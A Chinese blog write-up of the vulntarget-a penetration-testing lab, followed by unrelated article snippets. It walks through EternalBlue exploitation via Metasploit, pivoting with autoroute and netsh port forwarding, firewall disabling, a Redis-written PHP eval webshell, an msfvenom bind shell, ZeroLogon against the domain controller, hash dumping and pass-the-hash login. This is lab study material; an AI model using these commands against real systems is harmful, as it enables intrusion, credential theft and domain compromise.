vulntarget-a

在这里插入图片描述

实际部署之后的win7 ip: 192.168.127.128
具体攻击过程如下

win7

扫描服务

使用fscan扫描win 7中的服务以及漏洞

 ./fscan -h 192.168.127.128 

在这里插入图片描述

扫出来一个ms17-010以及通达oa的漏洞,既然有永恒之蓝的,直接上MSF就行了

msf6 > search ms17-010
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.127.128
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.127.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 32463
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

成功拿到meterpreter

在这里插入图片描述

查看当前主机的网段信息

这里假装不知道当前主机的网段信息

meterpreter > shell
C:\Windows\system32>ipconfig /all
ipconfig /allWindows IP ConfigurationHost Name . . . . . . . . . . . . : win7-PCPrimary Dns Suffix  . . . . . . . : Node Type . . . . . . . . . . . . : HybridIP Routing Enabled. . . . . . . . : NoWINS Proxy Enabled. . . . . . . . : NoDNS Suffix Search List. . . . . . : localdomainEthernet adapter Bluetooth θçl½ѺMedia State . . . . . . . . . . . : Media disconnectedConnection-specific DNS Suffix  . : Description . . . . . . . . . . . : Bluetooth ʨ±¸(¸󉌇𳎸)Physical Address. . . . . . . . . : 3C-58-C2-68-2A-6CDHCP Enabled. . . . . . . . . . . : YesAutoconfiguration Enabled . . . . : YesEthernet adapter ±¾µف¬½Ѡ2:Connection-specific DNS Suffix  . : Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2Physical Address. . . . . . . . . : 00-0C-29-D7-3A-42DHCP Enabled. . . . . . . . . . . : NoAutoconfiguration Enabled . . . . : YesLink-local IPv6 Address . . . . . : fe80::acaf:ab76:dfe8:2c06%13(Preferred) IPv4 Address. . . . . . . . . . . : 10.0.20.98(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : DHCPv6 IAID . . . . . . . . . . . : 301993001DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-29-22-BE-AC-00-0C-29-B3-DB-08DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1fec0:0:0:ffff::2%1fec0:0:0:ffff::3%1NetBIOS over Tcpip. . . . . . . . : EnabledEthernet adapter ±¾µف¬½ѺConnection-specific DNS Suffix  . : localdomainDescription . . . . . . . . . . . : Intel(R) PRO/1000 MT Network ConnectionPhysical Address. . . . . . . . . : 00-0C-29-D7-3A-38DHCP Enabled. . . . . . . . . . . : YesAutoconfiguration Enabled . . . . : YesLink-local IPv6 Address . . . . . : fe80::4501:76e7:5c8e:86a1%11(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.127.128(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0Lease Obtained. . . . . . . . . . : 2024Ū7Ղ12ɕ 8:09:34Lease Expires . . . . . . . . . . : 2024Ū7Ղ12ɕ 14:54:26Default Gateway . . . . . . . . . : DHCP Server . . . . . . . . . . . : 192.168.127.254DHCPv6 IAID . . . . . . . . . . . : 234884137DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-29-22-BE-AC-00-0C-29-B3-DB-08DNS Servers . . . . . . . . . . . : 192.168.127.1NetBIOS over Tcpip. . . . . . . . : Enabled

可以看出来当前主机并没有处于域环境,而且存在192.168.127.1/2410.0.20.1/24两个网段

横向移动拿下win2016

设置路由

run post/multi/manage/autoroute    #自动添加路由
run autoroute -p    #打印查看的路由

可见10.0.20.1/24网段已经被添加进去了
在这里插入图片描述

扫描内网主机

扫描内网主机的方式有很多种,也可以直接使用MSF进行扫描,也可以上传一个fscan进行扫描,也可以直接搭建一个socks代理服务进行扫描

扫描存活

这里使用arp扫描

use post/windows/gather/arp_scanner
set rhosts 10.0.20.1-254
set session 1
run

扫描结果
在这里插入图片描述

10.0.20.99是未知的内网主机,接下来就对其进横向移动

先搭建一个socks5代理,然后通过nmap进行扫描10.0.20.99目标开放的服务

socks5代理搭建
background
use auxiliary/server/socks_proxy   #搭建代理服务,默认端口1080
run

搭建完之后,使用proxychains4 结合扫描工具进行扫描,proxychains4需要在/etc/proxychains4.conf文件修改代理配置,这里不在赘述。

nmap扫描目标主机开放服务

挂上代理,扫描特别慢,这里就扫描部分端口

proxychains nmap -Pn -sT  10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080

扫描结果

Host is up (12s latency).PORT     STATE  SERVICE
22/tcp   closed ssh
23/tcp   closed telnet
80/tcp   open   http
139/tcp  closed netbios-ssn
445/tcp  closed microsoft-ds
1433/tcp closed ms-sql-s
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
6379/tcp open   redis
8080/tcp closed http-proxy

可见目标主机开启了80,6379端口

扫描10.0.20.99目标主机80端口目录

在使用msf中的socks代理结合dirsearch目录扫描工具时,老是把代理扫崩,所以直接使用windows自带的netsh端口转发,将wind7系统的5631端口转发给内网主机win201680端口上面,这样就可以不使用代理来访问内网主机中的web服务了。

使用Netsh端口转发

在win7的shell中执行这个命令即可

#关闭win7防火墙
netsh firewall set opmode mode = disable#进行端口转发
netsh interface portproxy add v4tov4 listenport=5631 connectaddress=10.0.20.99 connectport=80

此时访问win7的5631端口就能访问到win2016主机的80端口了

由于给win7主机切换了一下网卡,导致其出网网卡的IP变为192.168.129.130

使用dirsearch进行目录扫描

python3 dirsearch.py -u http://192.168.127.130:5631/ 

扫描结果
在这里插入图片描述

l.php是一个探针
在这里插入图片描述

phpinfo也没啥好说的,由此看来80端口应该是没什么打的了,那试试6379端口

redis未授权写入webshell

redis最经典的漏洞莫非未授权了,先试试未授权

proxychains redis-cli -h 10.0.20.99

发现可以直接连上,那就是未授权了,直接打就完了,在phpinfo和探针里面都可以获取到web网站的路径,路径已知,那就写个🐎上去。

config set dir "C:/phpStudy/PHPTutorial/www/"
config set dbfilename a.php
set x "<?php @eval($_POST['cmd']);?>"
save

在这里插入图片描述

webshell写入成功,尝试蚁剑连接
在这里插入图片描述

连接成功,此时win2016这台主机就已经拿下了。

在win2016主机中查看当前网络信息,可以看到主DNS后缀,说明其是域内主机,并且发现了一个未知的IP段10.0.10.1/24
在这里插入图片描述

MSF上线win2016

我的思路是先使用msf上线win2016, 然后再进行横向移动到域控
msf生成正向的shell木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=7411 -f exe -o 7411.exe

将生成的木马通过蚁剑上传到win2016中
然后蚁剑中将win2016的防火墙关闭,要不然正向shell连不进去

netsh firewall set opmode mode = disable

打开MSF

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.20.99
set lport 7411
run

然后在蚁剑中运行木马
成功拿到了win2016的meterpreter
然后在进行一个进程迁移,省的一会再掉线了

run post/windows/manage/migrate

通过arp缓存查看内网主机

arp -a

在这里插入图片描述

刚刚我们看到的10.0.10.1/24网段只有一个10.0.10.110主机,那这个ip也大概就是域控,或者直接通过MSF查看

run post/windows/gather/enum_domain

在这里插入图片描述

域控

扫描域控

通过蚁剑在win2016中上上传一个fscan,扫一下域控,看看开放了什么端口,有没有部署其他的服务。
在这里插入图片描述

开放了一些端口,没扫出来什么漏洞。

为域控添加路由

在win2016的meterpreter中执行

run post/multi/manage/autoroute  

设置win2016为代理服务器

use auxiliary/server/socks_proxy
run

在下一步怎么进展这卡了半天,最后还是看官方文档的步骤才搞出来的
使用 # ZeroLogon (CVE-2020-1472)
POC: https://github.com/dirkjanm/CVE-2020-1472
按照传闻,运行这个脚本会将域控密码置空,说实在的,有点离谱😲

proxychains python cve-2020-1472-exploit.py WIN2019 10.0.10.110

在这里插入图片描述

dump域控的hash,这里使用kali自带的impacket-secretsdump工具

proxychains4 impacket-secretsdump vulntarget.com/win2019\$@10.0.10.110 -no-pass

在这里插入图片描述

拿到hash之后,再使用WMIC进行登入到域控

proxychains4 impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 ./administrator@10.0.10.110

拿下域控☠️

在这里插入图片描述

总结

说一下思路,先使用永恒之蓝漏洞打win7,然后在将win2016的web端口给转发出来,通过扫描目录看到phpinfo文件,得到网站目录,然后再通过redis未授权漏洞写入shell,拿下win2016,域控是用CVE-2020-1472打的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/51239.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Bouncy Castle集成SM2与SM3

在Bouncy Castle库中&#xff0c;SM2和SM3是两种分别用于非对称加密和数字签名的密码算法&#xff0c;它们也可以结合使用&#xff0c;形成一种高安全性的加密签名方案&#xff0c;即SM2withSM3。以下是对SM2SM3的详细解释&#xff1a; 一、SM2算法 SM2是一种由中国国家密码管…

由CANoe自带协议栈在TCP断开连接时同时发送两条FIN报文引起的注意事项

在我写这篇文章CAPL如何在底层模拟TCP Server端断开TCP连接时,我发现了一个奇怪的现象。我为了使用CAPL组装报文的方式实现TCP Server断开连接的过程,插入一个网络节点作为Client端。为了让Client能够发起连接和发起断开连接,给网络节点配置了独立的TCP/IP Stack,也就是CAN…

D. Fun(cf962div3)

题意&#xff1a;找出满足abacbc<n&&abc<x的a&#xff0c;b&#xff0c;c的个数 分析&#xff1a;遍历a&#xff0c;遍历符合条件的b&#xff0c;找出两个式子c的最大值的最小值相加。 代码&#xff1a; #include<bits/stdc.h> using namespace std; ty…

学前教育优化算法,原理详解,MATLAB代码免费获取

学前教育优化算法&#xff08;Preschool Education Optimization Algorithm&#xff0c;PEOA)是一种受学前教育过程中孩童的活动行为启发而提出的元启发式优化算法。学前教育在儿童的早期发展中起着至关重要的作用&#xff0c;并为他们未来的学习旅程奠定基础。作为幼儿学习者发…

算法:常见时间复杂度

常见时间复杂度 O(1) - 常数时间复杂度O(log n) - 对数时间复杂度O(n) - 线性时间复杂度O(n log n) - 线性对数时间复杂度O(n^2) - 平方时间复杂度O(2^n) - 指数时间复杂度O(n!) - 阶乘时间复杂度 O(1) - 常数时间复杂度 定义&#xff1a;算法的运行时间与输入规模无关&#x…

【JavaScript】详解Day.js:轻量级日期处理库的全面指南

文章目录 一、Day.js简介1. 什么是Day.js&#xff1f;2. 安装Day.js 二、Day.js的基本用法1. 创建日期对象2. 格式化日期3. 解析日期字符串4. 操作日期5. 比较日期 三、Day.js的高级功能1. 插件机制2. 国际化支持 四、实际应用案例1. 事件倒计时2. 日历应用 在JavaScript开发中…

Android SurfaceFlinger——GraphicBuffer的生成(三十二)

通过前面的学习我们知道,在 SurfaceFlinger 中使用的生产者/消费者模型,Surface 做为生产者一方存在如下两个比较重要的函数: dequeueBuffer:获取一个缓冲区(GraphicBuffer),也就是 GraphicBuffer 生成。queueBuffer :把缓冲区(GraphicBuffer)放入缓冲队列中。 …

k3s节点内的服务发现与负载均衡

K3s 是一个轻量级的 Kubernetes 发行版&#xff0c;它简化了 Kubernetes 的安装和管理&#xff0c;同时保持了与 Kubernetes API 的兼容。在 K3s 中&#xff0c;服务发现与负载均衡的机制与标准的 Kubernetes 非常相似。以下是 K3s 中节点内服务发现与负载均衡的主要机制&#…

查看空闲gpu

如果你希望检查 Unix 或 Linux 系统上的 GPU 使用情况&#xff08;特别是查找空闲的 NVIDIA GPU&#xff09;&#xff0c;可以使用 NVIDIA 提供的命令行工具 nvidia-smi。 打开终端并输入以下命令&#xff1a; nvidia-smi 这个命令将输出你的 NVIDIA GPU 的当前状态&#xf…

Python | ValueError: could not convert string to float: ‘example’

Python | ValueError: could not convert string to float: ‘example’ 在Python编程中&#xff0c;类型转换是一个常见的操作。然而&#xff0c;当尝试将一个字符串转换为浮点数时&#xff0c;如果字符串的内容不是有效的浮点数表示&#xff0c;就会遇到“ValueError: could…

labview四字节转浮点数

1.labview四字节转浮点数 2.Labview怎么把串口接收到的数据转换成浮点数&#xff1f; Labview怎么把串口接收到的数据转换成浮点数&#xff1f;

如何跨越 LangChain 应用研发的最后一公里

说 [LangChain] 是现在最流行的 AI 应用开发框架&#xff0c;应该没有人出来反对吧。LangChain 的出现极大地简化了基于大型语言模型&#xff08;LLM&#xff09;的 AI 应用构建难度&#xff0c;如果把 AI 应用比作一个人的话&#xff0c;那么 LLM 相当于这个人的“大脑”&…

c#中Oracle.DataAccess.dll连接数据库的报错处理

通过DataAccess.dll连接Oracle数据库时&#xff0c;报如下错误 The provider is not compatible with the version of Oracle client 最终原因&#xff1a; dll 文件复制不全(4个文件必须) oracle.dataaccess.dll oci.dll oraociei11.dll oraops11w.dll

基于vue-grid-layout插件(vue版本)实现增删改查/拖拽自动排序等功能(已验证、可正常运行)

前端时间有个需求&#xff0c;需要对33&#xff08;不一定&#xff0c;也可能多行&#xff09;的卡片布局&#xff0c;进行拖拽&#xff0c;拖拽过程中自动排序&#xff0c;以下代码是基于vue2&#xff0c;可直接运行&#xff0c;报错可评论滴我 部分代码优化来自于GPT4o和Clau…

78.WEB渗透测试-信息收集-框架组件识别利用(2)

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a; 易锦网校会员专享课 上一个内容&#xff1a;77.WEB渗透测试-信息收集-框架组件识别利用&#xff08;1&#xff09; shiro&#xff1a;…

Ubuntu18.04 编译报错: Could NOT find JNI

一、问题描述 Ubuntu18.04 编译报错 OpenCV 时&#xff0c;出现以下错误&#xff1a; Could NOT find JNI (missing: JAVA_INCLUDE_PATH JAVA_INCLUDE_PATH2 JAVA_AWT_INCLUDE_PATH)二、解决方法 先执行以下指令&#xff0c; export JAVA_HOME/usr/lib/jvm/java-8-openjdk-am…

Postman中的高级技巧:实现请求的依赖注入

Postman中的高级技巧&#xff1a;实现请求的依赖注入 在API测试中&#xff0c;依赖注入是一种常见的技术&#xff0c;它允许测试人员在执行请求之前动态地设置参数。Postman作为一个强大的API开发和测试工具&#xff0c;提供了多种方法来实现请求的依赖注入。本文将详细介绍如…

支持向量机 及其分类案例详解(附Python 代码)

支持向量机分类器预测收入等级 我们将构建一个支持向量机&#xff08;SVM&#xff09;分类器&#xff0c;以预测一个人基于14个属性的收入等级。我们的目标是判断收入是否高于或低于每年$50,000。因此&#xff0c;这是一个二元分类问题。我们将使用在此处可用的人口普查收入数…

JDBC基础

目录 一、JDBC概述 二、JDBC搭建 1.注册JDBC驱动程序 2.建立与数据库连接 3.获得Satement执行sql语句 4.关闭与数据库的链接通道 三、PreparedStatement和Statement 1、代码的可读性和可维护性 2、最重要的一点是极大地提高了安全性 四、结果集处理 一、JDBC概述 JD…

0719_驱动1 arm裸机开发与linux驱动开发区别

一、什么是驱动 1.只要有硬件存在的地方&#xff0c;就会有驱动存在 2.在windows操作系统中&#xff0c;usb驱动&#xff0c;网卡驱动&#xff0c;电源驱动...... 3.在linux操作系统中&#xff0c;电源驱动&#xff0c;网卡驱动&#xff0c;内存驱动&#xff0c;EMMC驱动..... …